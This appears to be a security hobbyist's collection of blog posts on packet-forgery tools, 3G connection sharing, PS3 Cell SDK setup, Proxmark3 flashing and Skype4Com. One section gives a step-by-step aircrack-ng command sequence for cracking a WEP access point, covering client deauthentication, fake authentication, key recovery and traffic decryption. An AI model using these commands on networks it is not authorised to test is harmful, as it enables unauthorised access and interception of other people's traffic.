In the past few days, coincidentally I’ve been thrown into situations where packet forgery has been required. So I thought it’ll be a great moment to enumerate some good options that network or security professionals have. The basis for most of these tools lies in libnet and libpcap which are some of the most wonderfully functional libraries out there.

• Packetforge-ng – On the wireless side this utility allows you to capture wireless packets and create legitimate packets with a pre-determined payload that can then be replayed using tools such as aireplay-ng
• Scapy – This is a python based tool and can be extended to write custom Python scripts to custom create packets. This library has great functions to form packets layer-by-layer and other functions such as fuzz() that allow fuzzing of packets out of the box. The greatest utility comes by the use of python language to create custom tools. Imagine creating custom thick clients just by using simple python scripts. The capabilities with this library are endless!
• TCPReplay – Just convert your pcaps into traffic by replaying them. An excellent tool but be careful if you’ve sniffed some ARP packets. You could end up corrupting the ARP table entries (unless that’s exactly what your intentions is 😉
• file2air – An excellent tool by Joshua Wright to replay packet contents.
• Packit – A really easy to use and functional linux based packet injection tool.

Let’s assess the situation: You have a 3G phone which allows tethering, a windows machine, a wireless access point and another PC that is connected to the LAN port of the wireless access point (or typically called a wireless router). The wireless access point is a home network and your ISP decides to disconnect your signal or is experiencing some problems. How do you share your 3G connection, so that other computers can connect through the wireless AP and use your cell phone’s 3G connection? It’s actually quite simple.

Tether your smartphone (in this case let’s say blackberry). Blackberry tethering in Windows over AT&T is allowed using a software called AT&T Communication Manager. Install ACM, and connect your Windows machine using a mini-USB cable to your phone. Goto Start->Run->cmd.exe. Type ipconfig /all to see the IP address and the DNS servers IP addresses.

Now connect the WAN link of your Wireless access point to this Windows machine’s ethernet port. Setup a static IP for this Windows machine say 192.168.10.1 with a netmask of 255.255.255.0. Now go to Network connections (from Control Panel), right click on the Mobile connection representing your blackberry, click on Advanced. In the Internet Connection Sharing section, check the box that says “Allow other network users to connect through this computer’s Internet connection” and select “Local Area Connection” (this is the same connection you connected to the WAN port of the wireless AP). Click OK. You may have to disconnect and reconnect your ACM connection to allow the settings to take effect.

Now that this is done, connect to the administration interface of the wireless access point to the other PC that is connected to the LAN port (or through the wireless) to the access point. Go to the administration interface of the wireless AP, and set a static IP for the router in the same subnet as with the Windows box (the one you set with 192.168.10.1). Set the static IP on the AP to be say 192.168.10.2 (remember this has to be the same subnet), netmask as 255.255.255.0 and then the most important, the default gateway to 192.168.10.1 (the IP of the windows box on the ethernet card). To set the DNS server addresses, use the same addresses you found using ipconfig /all in the first step. Otherwise you could also use open DNS servers or any other DNS servers but it’ll be best to use the DNS servers pointing to the ones used by the tethered connection because you can rule out DNS issues if something isn’t working and it comes down to troubleshooting. Once on the router, the static is set, the gateway is set, the DNS is set, you should be able to connect from your wireless network to the internet through your 3G connection! 🙂
Happy internet sharing! 🙂
Here is a schematic diagram:

[tethering]                [static IP]    [static IP]   [internal IP]  [DHCP address]
                                   |         |                |           |
[ phone ] <==> [Windows machine]:eth0 <==> wan:[Wireless AP]:lan <==> [client]

If you want to crack WEP keys of an AP that is using WEP.

The following steps should be performed:

Start Capturing packets first:
sudo airodump-ng –bssid <APMAC> -w <CAPTUREFILE> –channel <CHANNELNUM> <IFACE>

Start capturing ARP packets:
sudo aireplay-ng –arpreplay -e <ESSID> -b <APMAC> -h <ASSOCIATEDCLIENTMAC> <IFACE>

Send deauth packets:
sudo aireplay-ng –deauth 5 -a <APMAC> -c <ASSOCIATEDCLIENTMAC> -e <ESSID> <IFACE>

Send fakeauth packets:
sudo aireplay-ng –fakeauth 5 -e <ESSID> -b <APMAC> -h <ASSOCCLIENTMAC> <IFACE>

Cracking WEP:
aircrack-ng -e <ESSID> -b <APMAC> -n <BITSIZE> -f <FUDGEFACTOR> <CAPTUREFILE>

The fudge factor is a measure of how much randomness to check for. I am not exactly sure of its cryptographic significance, however, it may make the difference between cracking a WEP key and not.

Sometimes you may have an AP with no clients connected to it. In such cases, follow the instructions at the following URL:
How to crack WEP with no clients.

Once the WEP keys are obtained then use airdecap-ng to decrypt the packets:
airdecap-ng -b <APMAC> -e <ESSID> -w <KEY> <PCAPFILE>
tcpdump -r <PCAPFILE>-dec.cap

People tend to think that gone are the days when the “RPM Hell” used to exist. We have yum, aptitude and what not! If you install linux on a PS3, I’d like to bring you back to reality, especially like me when you have yellowdog 5.0 installed on a first gen PS3.
What is interesting is that all these package managers rely on repositories in /etc/yum.repos.d/*.
If you do not have the good repositories then you can kiss goodbye to installing the Cell Broadband Engine SDK provided by IBM. This SDK has the spu-gcc, spu-g++ which is the right set of compilers if you want to use the 1 master processor (Power Processor Element – PPE) and the other six SPE (Synergistic Processor Elements – SPEs) …think of these as slaves. You might wonder where’s the 7th of the cell processor, well, you cannot access it because it is used internally by the PS3 for virtualization.
So I got a yellow dog 5.0 iso image from here. I followed the instructions for installing it from here. I did this almost a year ago! Yes…I did actually keep it dead for a while! Then I installed gcc and compiled John the ripper! To my utter disappointment, there was no performance benefit!
Then Marc Bevand told me at Toorcon X that I needed spu-gcc to compile JTR on PS3 to get the benefits. So I got the cell sdk ISO from here. I then mounted the ISO.
mount -o loop cellsdk11.iso /mnt/disk
cd /mnt/disk
cd software
./cellsdk install
I got bunch of errors. It wanted me to install freeglut-devel and tk-8.4.*.
Thus began my journey of 10,000 steps to get the dependencies resolved and I burnt my fingers, keyboard, brains, etc….and although I realized that everyone in the US and the world had found hope…things were not looking bright for me! Until I bumped into this fantastic repository here. Trust me it took me about 8 hours of incessant installing and compiling (almost 120 odd different files) and scores of google searches to land me into this. I installed the glut, libx11, tk, tcl, libtcl, glut-devel, libstdc++, libstdc-so7, and many other packages that I cannot even recall now to get the cellsdk to work! And even though I did, I still couldnt get ./cellsdk install to work! After about 8 hours of effort and being so close to success just seemed evil. Then I realized that all the packages needed were related to the PPC64 simulator (libx11.ppc64, libtcl.ppc.64, etc.)…a quick look into the readme told me that I could neglect that using the –nosim directive to make it work.
Finally,
./cellsdk install –nosim
worked!!!!!
A small step for mankind but a giant step for me!

I was being troubled by the error:
The InstallShield Engine (iKernel.exe) could not be launched.
The RPC Server is unavailable.

If you start the service “DCOM Server Process Launcher” you should be able to do away with this error.

I recently purchased a Proxmark3 from GeZhi Electronics. The proxmark3 client wouldn’t work. In fact the `dmesg` output did not even show the /dev/ttyACM0 device as was said all across the forum. i tried flashing the firmware but kept getting this error:

~/proxmark3/client# ./flasher -b ../bootrom/obj/bootrom.elf 
Loading ELF file '../bootrom/obj/bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x00000b38->0x00000b38) [RWX] @0x298
Attempted to write bootloader but bootloader writes are not enabled
Error while loading ../bootrom/obj/bootrom.elf

Also this is what showed up in the dmesg:

[ 7953.991935] usb 2-1.4: new full-speed USB device number 40 using ehci_hcd
[ 7959.078302] usb 2-1.4: New USB device found, idVendor=9ac4, idProduct=4b8f
[ 7959.078314] usb 2-1.4: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 7959.078321] usb 2-1.4: Product: ProxMark-3 RFID Instrument
[ 7959.078326] usb 2-1.4: Manufacturer: J. Westhues
[ 7959.078331] usb 2-1.4: SerialNumber: ChangeMe
[ 7959.080485] hid-generic 0003:9AC4:4B8F.0014: hiddev0,hidraw0: USB HID v1.00 Device [J. Westhues ProxMark-3 RFID Instrument] on usb-0000:00:1d.0-1.4/input0

Note that in the above the device doesn’t show up as a /dev/ttyACM0 device which is what we need for the proxmark3 client application to work.
So it seemed like there was an issue with the Proxmark3 not being recognized as a CDC device. So I went through the googlecode repository and went to a version of firmware where CDC was not being used. It also seemed that the flasher was the issue. So I used an old flasher to flash with the latest firmware and boom it worked! Remember to keep the button on the Proxmark3 pressed when you plug it in, and keep holding it down until the firmware update has finished.
Here are the commands:

# svn checkout http://proxmark3.googlecode.com/svn/trunk/ proxmark3
# export DEVKITPRO=$HOME/proxmark3/
# export DEVKITARM=$DEVKITPRO/devkitARM
# export PATH=${PATH}:${DEVKITARM}/bin
# cd proxmark3
# make all
# cd ..
# svn checkout -r 629 http://proxmark3.googlecode.com/svn/trunk/ ~/proxmark3-old-3
# cd proxmark3-old-3/
# make all
# cd client
# ./flasher -b ../../proxmark3/bootrom/obj/bootrom.elf ../../proxmark3/armsrc/obj/osimage.elf ../../proxmark3/armsrc/obj/fpgaimage.elf

And boom! There you … all flashed and now the device is recognized as a /dev/ttyACM0 device.

I came across the interesting Skype4Com API that could aid users to dial several numbers using skype.
To install Skype4Com simply unzip the contents of the archive and execute the following command:

c:\> regsvr32 Skype4Com.dll

Upon executing this you can use the Skype4Com API using .Net (C#, VB Script) and even Python.
One can even generate DTMF tones to dial in to 1-800-numbers and automate the process so you can directly get through the initial wait times and directly speak to the customer representative.